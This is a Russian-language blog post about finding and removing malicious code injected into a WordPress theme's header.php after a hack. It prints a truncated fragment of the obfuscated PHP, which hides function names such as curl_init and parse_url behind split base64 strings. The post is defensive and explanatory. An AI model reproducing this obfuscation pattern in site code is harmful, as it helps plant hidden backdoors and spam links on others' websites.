Недавно обнаружил, на одном из сайтов WordPress, чужой код в теме WordPress. Что это такое и как от него избавиться расскажу в этой статье.
Говоря про чужой код в теме WordPress, я имею именно в виду именно чужой код появившейся в файлах рабочей темы. Это не скрытые ссылки распространителей шаблона или ссылки авторов тем в футере или зашифрованные ссылки. Об этом в статьях:
Появляется чужой код в результате взлома сайта. Если не следить за состоянием сайта, то работу стороннего кода можно не заметить. Однако, его наличие может проявляться в появлении на страницах сайта исходящих ссылок на сторонние ресурсы.
Чистка может затронуть структуру сайта, поэтому начните чистку с полной резервной копии сайта.
<? $GLOBALS['_1071200792_']=Array(base64_decode('' .'dX' .'JsZW5j' .'b2Rl'),
base64_decode('dXJsZW5jb' .'2R' .'l'),base64_decode('dXJ' .'sZW' .'5jb2Rl'),
base64_decode('c2Vzc2' .'l' .'vbl9pZA=='),base64_decode('c3R' .'y' .'dG' .'91c' .'HBlcg=='),
base64_decode('c' .'G' .'Fyc2VfdXJs'),base64_decode('c' .'29ja2' .'V0X2Ny' .'ZWF0ZV9' .'w' .'YW' .'ly'),
base64_decode('ZGF0ZQ=='),base64_decode('Zn' .'Vu' .'Y' .'3Rpb25' .'f' .'ZXh' .'pc3Rz'),
base64_decode('Y3' .'VybF9pbml' .'0'),base64_decode('Y3Vy' .'bF9' .'zZXR' .'vcHQ='),
base64_decode('' .'Y3VybF9z' .'ZXRvcHQ='),base64_decode('Y3VybF9' .'zZXRvc' .'HQ='),
base64_decode('a' .'W1' .'h' .'Z2Vj' .'b3B5c' .'mVzYW1wbGVk'),
base64_decode('bX' .'Rfcm' .'F' .'uZA=='),…
Например, я обнаружил код в файле header.php
. Чтобы снять все сомнения чужой код или нет, я сравнил оригинальный файл header.php
с файлом на сайте и убедился, что код от куда-то «прилип».
Обращу внимание, что у меня был код, который обнаружить антивирусами для сайтов не удавалось.
В завершении список рабочих антивирусов онлайн для проверки сайта:
©www.wordpress-abc.ru
В этой статье обсудим и разберем, как выбрать и установить платные плагины для WordPress. Преимущества их использования и возможности улучшения… Читать дальше
Как работает и где используется интерактивная сенсорная панель. Читать дальше
Планшет iPad mini — идеальный выбор для работы и развлечений! Или нет? Читать дальше
Практическое руководство из 10 пунктов, как увеличить конверсию вашего сайта. Читать дальше
Варианты проверки работы клавиатуры компьютера. Читать дальше
Что такое системы управления ERP и для чего они нужны. Читать дальше